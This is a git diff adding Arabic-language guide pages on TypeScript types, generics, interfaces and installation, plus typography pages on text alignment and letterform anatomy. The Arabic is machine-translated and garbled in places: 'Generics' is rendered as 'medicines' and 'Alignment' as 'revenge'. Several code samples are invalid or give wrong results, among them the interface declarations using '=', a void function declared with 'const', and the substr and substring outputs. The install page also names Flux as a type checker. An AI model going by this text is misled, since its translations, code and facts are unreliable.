+ //reverseNames = ['Emma','Sophia','John','Emma','Javier'] 
+` 
+
+[المزيد من الطرق والوصف في TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_arrays.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/boolean-type/index.md b/client/src/guide/arabic/typescript/boolean-type/index.md
new file mode 100644
index 0000000000..ce05ee8615
--- /dev/null
+++ b/client/src/guide/arabic/typescript/boolean-type/index.md
@@ -0,0 +1,10 @@
+---
+title: Boolean Type
+localeTitle: اكتب منطقي
+---
+# اكتب منطقي
+
+`boolean` هي قيمة true / false الأساسية لجافا سكريبت.
+
+ `let isDone: boolean = false; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/enums/index.md b/client/src/guide/arabic/typescript/enums/index.md
new file mode 100644
index 0000000000..84b8916608
--- /dev/null
+++ b/client/src/guide/arabic/typescript/enums/index.md
@@ -0,0 +1,27 @@
+---
+title: Enums
+localeTitle: تتضمن التعدادات
+---
+## تتضمن التعدادات
+
+يمكن للمطورين استخدام `Enums` لتعريف مجموعة من الثوابت المسماة.
+
+هناك نوعان من `Enums`
+
+1.  رقمية
+2.  سلسلة القائم
+
+ `// numeric enum 
+ enum NumericEnum { 
+    numeric1 = 1, 
+    numeric2, 
+    numeric3, 
+    numeric4, 
+ } 
+ 
+ // string based enum 
+ enum StringBasedEnum { 
+    Programming = "is fun", 
+    Pizza = "is good" 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/for-of-loop/index.md b/client/src/guide/arabic/typescript/for-of-loop/index.md
new file mode 100644
index 0000000000..f6c286832d
--- /dev/null
+++ b/client/src/guide/arabic/typescript/for-of-loop/index.md
@@ -0,0 +1,16 @@
+---
+title: For..Of Loop
+localeTitle: ل .. من حلقة
+---
+# ل .. من حلقة
+
+`for..of` loop هي حلقة خاصة في TypeScript والتي يمكنك استخدامها للتكرار من خلال قيم الصفيف.
+
+ `let fruits = ['Apple', 'Banana', 'Orange']; 
+ 
+ for (let fruit of fruits) { 
+  console.log(fruit); 
+ } 
+` 
+
+سيكون الناتج الذي ستحصل عليه من الكود أعلاه هو "Apple" و "Banana" و "Orange". نظرًا لعدم تكرار هذا النوع من الحلقات من خلال المؤشرات ، فلن تحصل على "0" و "1" و "2".
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/generics/index.md b/client/src/guide/arabic/typescript/generics/index.md
new file mode 100644
index 0000000000..6af40f04cd
--- /dev/null
+++ b/client/src/guide/arabic/typescript/generics/index.md
@@ -0,0 +1,67 @@
+---
+title: Generics
+localeTitle: الأدوية
+---
+## الأدوية
+
+يمكن للمطورين استخدام `Generics` لتحديد قيود النوع للفئات وأعضاء المثيلات وأعضاء ثابتة والوظائف.
+
+### ماذا تفعل الأجيال؟
+
+وبشكل أساسي ، فإنها تعمل كعناصر نائبة للأنواع بحيث يمكن استخدام مكون في أماكن متعددة عبر تطبيقك من خلال استيعاب أنواع مختلفة.
+
+### ما هي مشكلة حل Generics؟
+
+لنفترض أنك تريد التأكد من أن قيم الإدخال والإرجاع الخاصة بالوظيفة من نفس النوع ، وهذا هو المكان الذي تأتي فيه الأدوية.
+
+##### المهام
+
+ `function printMessage(arg: any): any { 
+  return arg; 
+ } 
+ 
+ // typescript won't complain because the argument type and return type aren't being typed properly 
+ const myMessage: string = printMessage(1); 
+` 
+
+كما ترى من أعلاه ، فإن تمرير `any` نوع من الوسيطة في الدالة ، بالإضافة إلى نوع الإرجاع ، لا يعد مثاليًا حيث يتم فقد معلومات النوع في العملية.
+
+ `// updated example 
+ function printMessage<T>(arg: T): T { 
+  return arg; 
+ } 
+ 
+ // typescript complains because the variable type and the return type of the function don't match 
+ const myMessage: string = printMessage(1); 
+ 
+ // resolve the issue by making sure both types match each other 
+ const myMessage: number = printMessage(1); 
+` 
+
+إن تضمين `<T>` مع الدالة يخبر TypeScript أنه عام ، وأن تمرير ذلك كمرجع سيجعل TypeScript يعلم أن القيم المرتبطة به من نفس النوع.
+
+##### الطبقات
+
+ `class Person { 
+  fullName: string; 
+ 
+  constructor(fullName: string) { 
+    this.fullName = fullName; 
+  } 
+ 
+  getFullName() { 
+    return 'My name is ' + this.fullName; 
+  } 
+ } 
+ 
+ class Guest extends Person {}; 
+ 
+ let guest = new Guest('abc'); 
+ 
+ function getUser<T>(user: T): T { 
+  return user; 
+ } 
+ 
+ // foo will be of type 'guest' because it's being passed in as the argument 
+ const foo = getUser(guest); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/getters-setters/index.md b/client/src/guide/arabic/typescript/getters-setters/index.md
new file mode 100644
index 0000000000..70a8bbda77
--- /dev/null
+++ b/client/src/guide/arabic/typescript/getters-setters/index.md
@@ -0,0 +1,25 @@
+---
+title: Getters & Setters
+localeTitle: رسائل ورسائل
+---
# رسائل ورسائل
+
+يدعم Typescript أيضًا `get` الخاصية `set` . تسمى Get و Set Properties (الخصائص) بالفعل Accessors. يحتوي الواصلون في خاصية على بيانات قابلة للتنفيذ مرتبطة بالحصول على (قراءة) أو إعداد (كتابة) الخاصية. يمكن أن تحتوي التصريحات على الحصول على ملحق أو تعيين ملحق أو كليهما.
+
+ `class User { 
+    private _fullName: string = ''; 
+ 
+    get fullName() { 
+        return this._fullName; 
+    } 
+ 
+    set fullName(name) { 
+        this._fullName = name; 
+    } 
+ } 
+ 
+ let user = new User(); 
+ 
+ user.fullName = 'John Doe'; 
+ 
+ console.log(user.fullName); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/index.md b/client/src/guide/arabic/typescript/index.md
new file mode 100644
index 0000000000..c719286e69
--- /dev/null
+++ b/client/src/guide/arabic/typescript/index.md
@@ -0,0 +1,59 @@
+---
+title: TypeScript
+localeTitle: نسخة مطبوعة على الآلة الكاتبة
+---
+## نسخة مطبوعة على الآلة الكاتبة
+
+### نظرة عامة
+
+![نسخة مطبوعة على الآلة الكاتبة](https://i.imgur.com/uRLunzU.png)
+
+لذا ، كما تعلم على الأرجح ، تعمل جافا سكريبت على توسيع نطاقها كل يوم ، وهو أمر مذهل ومذهل في الوقت الحالي مما يمكنك فعله باللغة الحالية.
+
+ومع ذلك ، عندما تبدأ المشروعات الأكبر حجمًا في استخدام جافا سكريبت ، تصبح عملية جعل الرمز أسهل في الكتابة وأكثر قابلية للإصلاح أكثر صعوبةً.
+
+هذه مشكلة تم التعرف عليها من قِبل Microsoft في وقت مبكر وتوصلوا إلى حل TypeScript وأطلقوا الإصدار الأول تقريبًا في 1 أكتوبر 2012.
+
+يمكنك معرفة المزيد حول الاختلافات في بناء الجملة في [`TypeScript`](./) > [`JavaScript vs TypeScript`](./javascript-vs-typescript) .
+
+![دلائل الميزات](https://i.imgur.com/pZij95O.jpg)
+
+في الجوهر ، تحاول شركة TypeScript مساعدة جافا سكريبت في الوصول إلى ارتفاعات جديدة وتصبح قابلة للتوسع جدًا ويمكن أن يتم تمييزها بواسطة الميزات التالية:
+
+*   لغة برمجة مجانية ومفتوحة المصدر تم تطويرها وصيانتها بواسطة Microsoft
+*   مجموعة سوبر جرافيكية صارمة من جافا سكريبت والتي تتحول إلى جافا سكريبت عادي
+*   يخفف تطوير التطبيقات واسعة النطاق المكتوبة في جافا سكريبت
+*   يوسع جافا سكريبت عن طريق إضافة أنواع ثابتة ، فئات ، وحدات ، واجهات وأدوات بديلة
+
+**🎉 FUN FACT** TypeScript تم تحويلها إلى 5 سنوات في 1 تشرين الأول (أكتوبر) 2017.
+
+### الإصدار
+
+أحدث إصدار مستقر متوفر هو [TypeScript 3.1](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-1.html) .
+
+### التركيب
+
+لمعرفة المزيد حول التثبيت ، راجع [`TypeScript`](./) > [`Installation`](./installation) .
+
+### اللنت
+
+لمعرفة المزيد حول استخدام اللنت مع نسخة مطبوعة على الآلة الكاتبة، تحقق من [`TypeScript`](./) > [`Linter`](./linter) .
+
+### ملعب
+
+![ملعب](https://i.imgur.com/vlV7ZFr.png)
+
+إذا كنت ترغب في تجربة TypeScript بدون تثبيته ، قم بزيارة [TypeScript Playground](http://www.typescriptlang.org/play/index.html) .
+
+يحتوي Playground على الإكمال التلقائي المضمّن والقدرة على رؤية JavaScript المنبعثة مباشرةً.
+
+### موارد آخرى
+
+لمعرفة المزيد حول التثبيت ، راجع [ملحق التثبيت](./src/articles/typescript/appendix-installation/index.md) .
+
+في حال كنت تحتاج فقط إلى نوع مدقق ولا ترغب في تجميع البرنامج ، اقرأ عن [Flux](https://facebook.github.io/flux/) .
+
+*   [بداية سريعة](http://www.typescriptlang.org/samples/index.html)
+*   [كابل بيانات](http://www.typescriptlang.org/docs/home.html)
+*   [مصدر الرمز](https://github.com/Microsoft/TypeScript)
+*   [TutorialsPoint](https://www.tutorialspoint.com/typescript/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/installation/index.md b/client/src/guide/arabic/typescript/installation/index.md
new file mode 100644
index 0000000000..763497fe85
--- /dev/null
+++ b/client/src/guide/arabic/typescript/installation/index.md
@@ -0,0 +1,83 @@
+---
+title: Installation
+localeTitle: التركيب
+---
+## التركيب
+
+![التركيب](https://i.imgur.com/9ILjA1q.jpg)
+
+لتبدأ بنفسك ، فإن الأمرين اللذين ستحتاجهما هما مترجم TypeScript ومحرر يدعم TypeScript.
+
+في لقطة الشاشة أعلاه ، أقوم بتثبيت كل من المترجم و [TSLint](https://github.com/palantir/tslint) (الذي يشبه [ESLint](https://eslint.org/) ) باستخدام `npm` في الطرفية المتكاملة في [Visual Studio Code](https://code.visualstudio.com/) .
+
+### تثبيت TypeScript
+
+سيقوم هذا الأمر بتثبيت حزمة TypeScript كاعتمادية في مشروعك باستخدام [`npm`](https://www.npmjs.com/) وهو مدير حزم شائع.
+
+ `npm i typescript 
+` 
+
+_ملاحظة:_ هناك [عدة خيارات](https://docs.npmjs.com/cli/install) `npm` حسب المكان الذي تريد تثبيت TypeScript فيه.
+
+*   `npm i -g typescript` لتثبيت حزمة TypeScript بشكل عام
+*   `npm i -D typescript` لتثبيت حزمة TypeScript على أنها تبعية من نوع dev
+
+### TSLint
+
+معرفة كيفية إعداد خيارات linting للنسخة مطبوعة على الآلة الكاتبة في [نسخة مطبوعة على الآلة الكاتبة](./) > [اللنت](./linter) ضمن **دليل freeCodeCamp.**
+
+### تجميع ملف واحد لأسفل إلى جافا سكريبت
+
+ `tsc multiplication.ts 
+` 
+
+_إلى ملاحظة_ يمكنك تكوين عملية تجميع TypeScript هذه كبرنامج نصي npm مخصص في `package.json` الخاص بك.
+
+### خيارات الإعداد
+
+ `touch tsconfig.json 
+` 
+
+هناك أيضًا خيار إنشاء ملف [`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html) يحدد ملفات الجذر وخيارات المترجم.
+
+في ملف [`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html) ، على سبيل المثال ، يمكنك تحديد أنك تريد أن يتحول TypeScript إلى ES5 بدلاً من ES6.
+
+### مثال سريع
+
+![عمليه الضرب](https://i.imgur.com/V5nP3xj.jpg)
+
+في لقطة الشاشة أعلاه ، يمكنك رؤية ملفين - `multiplication.js` و `multiplication.ts` .
+
+يقوم هذا البرنامج فقط بطباعة منتج رقمين قمت بتحديدهما مسبقًا.
+
+> `multiplication.ts`
+
+ `let a: number = 10; 
+ let b: number = 2; 
+ 
+ function showProduct(first: number, second: number): void { 
+  console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+` 
+
+وبمجرد أن تنتهي من إنشاء `multiplication.ts` ، ويمكنني أن ترجمة ذلك الى جافا سكريبت باستخدام `tsc` القيادة التي تقف على ترجمة نسخة مطبوعة على الآلة الكاتبة.
+
+> `multiplication.js`
+
+ `var a = 10; 
+ var b = 2; 
+ 
+ function showProduct(first, second) { 
+    console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+` 
+
+بام - لقد جمعت بنجاح TypeScript إلى JavaScript!
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/interfaces/index.md b/client/src/guide/arabic/typescript/interfaces/index.md
new file mode 100644
index 0000000000..f30dd5aff5
--- /dev/null
+++ b/client/src/guide/arabic/typescript/interfaces/index.md
@@ -0,0 +1,26 @@
+---
+title: Interfaces
+localeTitle: واجهات
+---
# واجهات
+
+أحد المبادئ الأساسية لـ TypeScript هو أن التحقق من الكتابة يركز على الشكل الذي تحتويه القيم. وهذا ما يسمى أحيانًا "كتابة البطة" أو "النمط الفرعي الهيكلي". في TypeScript ، تملأ `interfaces` دور تسمية هذه الأنواع ، وتعتبر طريقة فعالة لتعريف العقود داخل التعليمة البرمجية بالإضافة إلى العقود مع التعليمات البرمجية خارج المشروع.
+
+ `interface User = { 
+    firstName: string; 
+    lastName: string; 
+ } 
+ 
+ function printUserInfo(user: User) { 
+    console.log(user.firstName); 
+ } 
+ 
+ let myObj = {firstName: 'John', lastName: 'Doe'} 
+ printUserInfo(myObj); 
+` 
+
+يمكن أن تحتوي الواجهات على معلمات اختيارية
+
+ `interface User = { 
+    email?: string; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/javascript-vs-typescript/index.md b/client/src/guide/arabic/typescript/javascript-vs-typescript/index.md
new file mode 100644
index 0000000000..b029353ea6
--- /dev/null
+++ b/client/src/guide/arabic/typescript/javascript-vs-typescript/index.md
@@ -0,0 +1,19 @@
+---
+title: JavaScript vs TypeScript
+localeTitle: جافا سكريبت مقابل TypeScript
+---
+## جافا سكريبت مقابل TypeScript
+
+![اين والدو](https://i.imgur.com/DznuAou.jpg)
+
+حسنًا حتى الآن ، أصبح لدينا إحساس عام بماهية TypeScript ، لنبدأ لعبة سريعة من **أين والدو** .
+
+في لقطة الشاشة أعلاه ، يمكنك تحديد الاختلافات بين `JavaScript` و `TypeScript` في برنامج الضرب البسيط هذا الذي يطبع منتج رقمين قمت `TypeScript` مسبقًا.
+
+### ما هي تلك الاختلافات على الرغم من؟ 🤔️
+
+انهم **أنواع** !
+
+لذا فإن `JavaScript` لديها كتابة ديناميكية في ذلك أن المتغير المُعلن كرقم يمكن تحويله إلى سلسلة حيث يكون `TypeScript` به كتابة ثابتة مما يعني أنك تعلن مسبقاً عن نوع القيمة التي سيحتفظ بها المتغير ولا يتغير.
+
+في هذا الملف `multiplication.ts` ، أنا أعلن أن كل هذه المتغيرات هي أرقام بحيث لا يمكن تغييرها إلى شيء آخر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/linter/index.md b/client/src/guide/arabic/typescript/linter/index.md
new file mode 100644
index 0000000000..4bf3286b8e
--- /dev/null
+++ b/client/src/guide/arabic/typescript/linter/index.md
@@ -0,0 +1,22 @@
+---
+title: Linter
+localeTitle: اللنت
+---
+## اللنت
+
+![TSLint](https://2.bp.blogspot.com/-w7oeP1geosE/V82a740bTbI/AAAAAAAAAu4/-zJxZsmmH6garbdmUplX0n5Yz5zDsvcVQCLcB/s1600/tslint.png)
+
+يتم تعريف [linter](https://www.wikiwand.com/en/Lint_(software) كأداة تقوم باكتشاف أخطاء في لغات البرمجة وأخطاء بها ، بما في ذلك الأخطاء الأسلوبية.
+
+بالنسبة لـ TypeScript ، يكون [TSLint](http://palantir.github.io/tslint) هو [خيار linter](http://palantir.github.io/tslint) الأكثر شيوعًا.
+
+TSLint عبارة عن أداة تحليل ثابتة قابلة للتوسعة تقوم بالتحقق من تعليمات برمجية TypeScript لتسهيل القراءة وإمكانية الصيانة والأخطاء الوظيفية.
+
+وهي مدعومة على نطاق واسع عبر برامج التحرير الحديثة وأنظمة البناء ويمكن تخصيصها باستخدام قواعد الوبر الخاصة بك والتكوينات والتنسيقات.
+
+### تثبيت TSLint
+
+سيقوم هذا الأمر بتثبيت حزمة `TSLint` عالميًا باستخدام `npm` ، مدير حزم شائع.
+
+ `npm i -g tslint 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/never-type/index.md b/client/src/guide/arabic/typescript/never-type/index.md
new file mode 100644
index 0000000000..8adbe9f773
--- /dev/null
+++ b/client/src/guide/arabic/typescript/never-type/index.md
@@ -0,0 +1,26 @@
+---
+title: Never Type
+localeTitle: أبدا اكتب
+---
+# أبدا اكتب
+
+يمثل النوع `never` نوع القيم التي لا تحدث أبداً. على سبيل المثال ، `never` يكون `never` نوع الإرجاع لتعبير الدوال أو تعبير دالة السهم الذي يلقي دائماً استثناءً أو استثناء لا يعود أبداً ؛ المتغيرات أيضا الحصول على نوع `never` عندما تضيق من قبل `any` نوع الحرس الذي لا يمكن أن يكون صحيحا.
+
+النوع `never` هو نوع فرعي من كل نوع ، ويمكن التنازل عنه. ومع ذلك ، لا يوجد نوع هو نوع فرعي أو يمكن التنازل عنه `never` (باستثناء أبداً نفسه). حتى أي شيء لا يمكن التنازل عنه أبداً.
+
+ `// Function returning never must have unreachable end point 
+ function error(message: string): never { 
+    throw new Error(message); 
+ } 
+ 
+ // Inferred return type is never 
+ function fail() { 
+    return error("Something failed"); 
+ } 
+ 
+ // Function returning never must have unreachable end point 
+ function infiniteLoop(): never { 
+    while (true) { 
+    } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/null-type/index.md b/client/src/guide/arabic/typescript/null-type/index.md
new file mode 100644
index 0000000000..99460cfc81
--- /dev/null
+++ b/client/src/guide/arabic/typescript/null-type/index.md
@@ -0,0 +1,18 @@
+---
+title: Null Type
+localeTitle: نوع فارغ
+---
+## نوع فارغ
+
+في TypeScript ، يحتوي النوع الفارغ على القيم الخالية. Null هي قيم صالحة من كل نوع.
+
+ `let u: null = null; 
+` 
+
+عند استخدام العلامة - علامة StrictNullChecks ، يتم تعيين null فقط إلى الفراغ ونوعها.
+
+ `let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/number-type/index.md b/client/src/guide/arabic/typescript/number-type/index.md
new file mode 100644
index 0000000000..47a6fc965f
--- /dev/null
+++ b/client/src/guide/arabic/typescript/number-type/index.md
@@ -0,0 +1,13 @@
+---
+title: Number Type
+localeTitle: نوع الرقم
+---
+# نوع الرقم
+
+جميع الأرقام في TypeScript هي قيم النقطة العائمة. يدعم TypeScript القيم الحرفية الثنائية والثنائية من ES6.
+
+ `let decimal: number = 7; 
+ let hex: number = 0xf00d; 
+ let binary: number = 0b0110; 
+ let octal: number = 0o531; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/string-type/index.md b/client/src/guide/arabic/typescript/string-type/index.md
new file mode 100644
index 0000000000..76169770f7
--- /dev/null
+++ b/client/src/guide/arabic/typescript/string-type/index.md
@@ -0,0 +1,51 @@
+---
+title: String Type
+localeTitle: نوع السلسلة
+---
+# نوع السلسلة
+
+سلاسل يمكن أن تكون مكتوبة مع `''` علامات الاقتباس المفردة أو `""` علامات اقتباس مزدوجة. كن متسقًا مع شفرتك واختر نمطًا.
+
+ `let dog: string = 'Fido'; 
+ let activity: string = "Playing Outside"; 
+` 
+
+يمكن كتابة السلاسل باستخدام حرفية القالب:
+
+ ``let greeting: string = `Hello, ${firstName} ${lastName}, thank you for attending the ${eventName} event.`; 
+`` 
+
+## أساليب مدمجة
+
+في نوع Typescript ، يمكنك استخدام بعض الوظائف المضمنة. كل نوع لديه طرق مشتركة وفريدة من نوعها. أدناه يمكنك أن تقرأ عن أكثر استخدامات من أساليب نوع السلسلة.
+
+### انقسام ("فاصل" ، حد)
+
+مع وظيفة الانقسام ، يمكنك تقسيم السلسلة الخاصة بك عند فاصل محدد. يمكنك تعيين رقم حد ، وهذا يعني عدد الانقسامات التي يتعين عليها فعلها. إرجاع السلسلة splitted في نوع صفيف.
+
+ `let names: string = 'Sarah,Lily,John,Paula,Harvey'; 
+ let array: string[] = names.split(','); 
+ //array = ['Sarah','Lily','John','Paula','Harvey'] 
+ let array2: string[] = names.split(',',2); 
+ //array2 = ['Sarah','Lily'] 
+` 
+
+### SUBSTR (startAt، طول)
+
+تعود هذه الطريقة بسلسلة فرعية ، والتي `startAt` عند حرف `startAt` من السلسلة الأصلية ، ويكون طولها `length` .
+
+ `let names: string = 'Harvey Specter'; 
+ let substr: string = names.substr(3,10); 
+ //substr = 'rvey Spect' 
+` 
+
+### فرعية (startAt، endAt)
+
+تشبه هذه الطريقة substr () ، ولكن لها معلمات مختلفة. المعلمة الثانية هي أيضًا فهرس حول السلسلة الأصلية ، وليس رقم طول.
+
+ `let names: string = 'Harvey Specter'; 
+ let substring: string = names.substring(3,10); 
+ //substring = 'rvey Spe' 
+` 
+
+[المزيد من الطرق والوصف في TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_strings.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/tuple-type/index.md b/client/src/guide/arabic/typescript/tuple-type/index.md
new file mode 100644
index 0000000000..1f4e87dcb4
--- /dev/null
+++ b/client/src/guide/arabic/typescript/tuple-type/index.md
@@ -0,0 +1,66 @@
+---
+title: Tuple Type
+localeTitle: نوع المجموعة
+---
+# نوع المجموعة
+
+التعبير عن مصفوفة يعرف فيها عدد محدد من عناصر الأنواع ، ولكن ليس هو نفسه.
+
+ `let arr: [string, number]; 
+ 
+ // This is correct 
+ arr = ['Hello', 7]; 
+ 
+ //This is incorrect 
+ arr = [7, 'Hello']; 
+` 
+
+عند الوصول إلى عنصر خارج المؤشرات المعروفة ، سيستخدم نوع الاتحاد:
+
+ `arr[3] = 'World!' 
+ // OK, 'string' can be assigned to 'string | number' 
+ 
+ // Error, 'boolean' is not a 'string | number' 
+ arr[5] = false; 
+ // Error, 'boolean' is not a 'string | number' 
+` 
+
+## الخصائص
+
+في نوع Typescript يمكن أن يكون لديك بعض خصائص buit-in. طول الفوركس أو بعض الأنواع الفريدة الأخرى.
+
+### الطول
+
+قال هذا العقار ، كم عنصر لديه عنصر.
+
+ `let tuple = []; //you can initialize it after the declaration too, not just the method above 
+ tuple[0] = 10; 
+ tuple[1] = 'Mike'; 
+ let number = tuple.length; 
+ //number = 2; 
+` 
+
+## أساليب مدمجة
+
+في نوع Typescript ، يمكنك استخدام بعض الوظائف المضمنة. كل نوع لديه طرق مشتركة وفريدة من نوعها. أدناه يمكنك أن تقرأ عن أكثر الطرق استخداما في أساليب نوع tuple.
+
+### البوب ​​()
+
+يزيل العنصر الأخير من tuple.
+
+ `var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.pop(); 
+ //tuple = [10,'Emma',11,'Lily',12,] 
+ //We popped 'Mike Ross' from the tuple 
+` 
+
+### إدفع()
+
+يضيف عنصرًا إلى نهاية المجموعة.
+
+ `var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.push('Rachel Zane'); 
+ //tuple = [10,'Emma',11,'Lily',12,'Mike Ross','Rachel Zane'] 
+` 
+
+[مزيد من المعلومات حول tuples على TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_tuples.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/undefined-type/index.md b/client/src/guide/arabic/typescript/undefined-type/index.md
new file mode 100644
index 0000000000..ab4df17e5e
--- /dev/null
+++ b/client/src/guide/arabic/typescript/undefined-type/index.md
@@ -0,0 +1,31 @@
+---
+title: Undefined Type
+localeTitle: نوع غير معرف
+---
+## نوع غير معرف
+
+في TypeScript ، نفس النوع الفارغ ، يكون للنوع غير المحدد قيم غير محددة. غير محددة هي قيم صالحة من كل نوع.
+
+ `let u: undefined = undefined; 
+` 
+
+عند استخدام - علامة `--strictNullChecks` ، غير قابل `--strictNullChecks` فقط لإبطال ونوعها.
+
+ `let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+ 
+ sn = undefined; // error, 'undefined' is not assignable to 'string | null' 
+` 
+
+مع `--strictNullChecks` ، مقياس اختياري تلقائيا بإضافة `| undefined` :
+
+ `function f(x: number, y?: number) { 
+    return x + (y || 0); 
+ } 
+ f(1, 2); 
+ f(1); 
+ f(1, undefined); 
+ f(1, null); // error, 'null' is not assignable to 'number | undefined' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/void-type/index.md b/client/src/guide/arabic/typescript/void-type/index.md
new file mode 100644
index 0000000000..cabb8ac9be
--- /dev/null
+++ b/client/src/guide/arabic/typescript/void-type/index.md
@@ -0,0 +1,13 @@
+---
+title: Void Type
+localeTitle: نوع الفراغ
+---
+# نوع الفراغ
+
+لا ينبغي أن تستخدم للمتغيرات ، واستخدام `null` أو `undefined` .  
+ومع ذلك ، استخدمها للوظائف التي لا تعرض قيمة.
+
+ `const greeting(): void { 
+    alert('Hello, and Welcome to My Webpage!'); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/alignment/index.md b/client/src/guide/arabic/typography/alignment/index.md
new file mode 100644
index 0000000000..735dbb6ff7
--- /dev/null
+++ b/client/src/guide/arabic/typography/alignment/index.md
@@ -0,0 +1,68 @@
+---
+title: Alignment
+localeTitle: انتقام
+---
+## انتقام
+
+المحاذاة الطبوغرافية يغير تدفق النص في وثيقة. يمكن للمصممين استخدام هذه الأداة القوية لتعزيز عرض النص ببراعة من خلال منحه الشكل المرئي والسياق.
+
+جرّب المحاذاة للعثور على مجموعات مرئية جديدة ومثيرة تجعل المحتوى الخاص بك بارزًا. تأكد من اختبار أخطاء المحاذاة على الأجهزة والمتصفحات المختلفة.
+
+استخدم CSS لمحاذاة النص كلما أمكن ذلك. قد تصادف علامات محاذاة HTML (على سبيل المثال ، `<p align="right"></p>` أو `<center></center>` ) ، ولكن يتم إيقافها في HTML 5.
+
+### نص مضبوط إلى اليسار
+
+افتراضي ، `text-align: left;`
+
+عند الشك ، يكون النوع الافتراضي من تبرير النص هو الخيار الأفضل عادة. خاصةً بالنسبة للمقالات أو الكتل الطويلة للنص ، يكون النص المُبرر يسارًا أسهل في القراءة ، حيث أن الحواف المتعرجة على اليمين توفر سياقًا مرئيًا لمساعدة القراء في الحفاظ على مكانهم مع تحول أعينهم من خط إلى آخر.
+
+يسخدم من اجل:
+
+*   نص أساسي
+*   معظم كل شيء آخر
+
+### نص يبرره اليمين
+
+`text-align: right;`
+
+يمكن أن يكون النص الذي يبرره اليمين واليسار مفيدًا كتوابل بصرية ، ولكن يصعب قراءته في فترات امتدت طويلة من النص المُبرر لليسار.
+
+قابل للاستخدام ل:
+
+*   التسميات التوضيحية
+*   التنقل
+*   الجانبية
+*   الاقتباسات
+
+### النص المركز
+
+`text-align: center;`
+
+استخدم نصًا مركزًا لسحب أعين القراء إلى نقاط التركيز (على سبيل المثال ، العناوين ، عناوين الصفحات ، التذييلات). لا تستخدم نصًا مركزًا لكتل ​​نصية طويلة ، حيث إنه مرهق للغاية للقراءة.
+
+قابل للاستخدام ل:
+
+*   العناوين
+*   عنوان الصفحة
+*   التنقل
+*   الجانبية
+*   التسميات التوضيحية
+*   الاقتباسات
+*   الهوامش
+
+### نص مضبوط
+
+`text-align: justify;`
+
+النص الكامل المضلل أمر صعب للتوصية بالنص الأساسي ، حيث يمكن أن تظهر فجوات كبيرة بين الكلمات في بعض الخطوط. ومع ذلك ، يمكن أن desgigners المهرة جعله جميل الاستخدام.
+
+قابل للاستخدام ل:
+
+*   التسميات التوضيحية
+*   Sidenotes
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا المادة](https://en.wikipedia.org/wiki/Typographic_alignment)
+*   [دليل نمط الويب](https://webstyleguide.com/wsg2/type/align.html)
+*   [محاذاة النص على الويب](http://www.webpagemistakes.ca/text-alignment-on-the-web/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/anatomy-of-letterforms/index.md b/client/src/guide/arabic/typography/anatomy-of-letterforms/index.md
new file mode 100644
index 0000000000..b126154ec5
--- /dev/null
+++ b/client/src/guide/arabic/typography/anatomy-of-letterforms/index.md
@@ -0,0 +1,132 @@
+---
+title: Anatomy of Letterforms
+localeTitle: تشريح الحروف
+---
+## تشريح الحروف
+
+يصف تشريح الحروف (Letterforms) العناصر المختلفة التي تشكل الحروف المطبوعة في محرف. يوضح الشكل أدناه الأجزاء المختلفة من الأحرف في محرف.
+
+![نص بديل](https://upload.wikimedia.org/wikipedia/commons/a/a3/Typographia.svg)
+
+> أجزاء من الصورة الرمزية: 1) x-height؛ 2) خط الصاعد. 3) القمة ؛ 4) خط الأساس ؛ 5) صاعد 6) العارضة. 7) الجذع. 8) serif 9) الساق 10) وعاء 11) عداد ؛ 12) طوق. 13) حلقة ؛ 14) أذن ؛ 15) التعادل 16) شريط أفقي. 17) ذراع ؛ 18) شريط عمودي 19) ارتفاع الغطاء ؛ 20) خط السليل.
+
+حرف محرف تتكون على نطاق واسع من 3 أجزاء مختلفة 1) **السكتات الدماغية** 2) **المحطات** 3) **الفضاء**
+
+#### السكتات الدماغية
+
+تشير السكتة الدماغية إلى النص الرئيسي لحرف الكتابة. قد تكون مستقيمة ، كما هو الحال في حروف مثل _l_ أو _z_ أو _k_ أو _v_ أو منحني كما في _c_ أو _o_ . الأجزاء المختلفة من السكتة الدماغية مذكورة أدناه
+
+*   يُعرف الخط الوهمي الذي تجلس عليه معظم الشخصيات بخط **الأساس** (4).
+    
+*   إن الكبش أو **الكبلين** (19) هو خط وهمي آخر يصور ارتفاع كل الأبجديات الكبيرة.
+    
+*   الخط الأفقي الخيالي الذي يمثل الحافة العلوية للحروف الصغيرة هو الخط **الأوسط** .
+    
